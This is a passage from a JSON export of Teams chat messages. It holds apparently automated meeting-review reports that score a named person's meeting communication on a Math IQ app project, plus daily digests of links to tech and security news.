- client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger 